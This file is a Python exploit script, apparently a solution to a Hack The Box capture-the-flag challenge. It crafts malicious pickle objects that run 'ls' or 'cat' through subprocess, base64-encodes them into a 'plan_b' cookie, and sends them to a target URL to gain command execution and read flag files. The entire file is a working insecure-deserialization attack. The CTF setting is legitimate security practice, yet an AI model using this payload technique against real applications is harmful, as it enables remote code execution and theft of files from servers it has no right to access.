import sys
import requests
from base64 import b64encode
import pickle
import subprocess
import re


# Function to create the command execution payload
def extract_flag_filename(ls_output):
    matches = re.findall(r'flag_\S+', ls_output)
    return matches


def extract_flag_content(file_content):
    match = re.search(r'HTB\{.*?\}', file_content)
    return match.group(0) if match else "No flag found."


def create_ls_payload():
    class anti_pickle_serum(object):
        def __reduce__(self):
            cmd = ['ls']
            return subprocess.check_output, (cmd,)
    return anti_pickle_serum()


def create_cat_payload(filename):
    class anti_pickle_serum(object):
        def __reduce__(self):
            cmd = ['cat', filename]
            return subprocess.check_output, (cmd,)
    return anti_pickle_serum()


def main():
    try:
        # get https address from arguments
        url = "http://" + sys.argv[1]
        print(url)
        # Create command execution payload and execute it
        cmd = raw_input("Choose payload (ls/cat): ").strip().lower()
        if cmd == 'exit':
            return

        encoded_ls_payload = create_ls_payload()

        if cmd == 'ls':
            cookies = {
                'plan_b': b64encode(
                    pickle.dumps({
                        "serum": encoded_ls_payload
                    })
                ).decode()
            }
            html_response = requests.get(url, cookies=cookies)
            flag_files = extract_flag_filename(html_response.text)
            print("Flag file found: ", flag_files)
        elif cmd == 'cat':
            flag_filename = raw_input("Enter the flag filename: ").strip()
            encoded_cat_payload = create_cat_payload(flag_filename)
            cookies = {
                'plan_b': b64encode(
                    pickle.dumps({
                        "serum": encoded_cat_payload
                    })
                ).decode()
            }
            html_response = requests.get(url, cookies=cookies)
            flag = extract_flag_content(html_response.text)
            print("Extracted Flag: ", flag)

    except Exception as e:
        print("An error occurred: ", {e.args})


if __name__ == "__main__":
    main()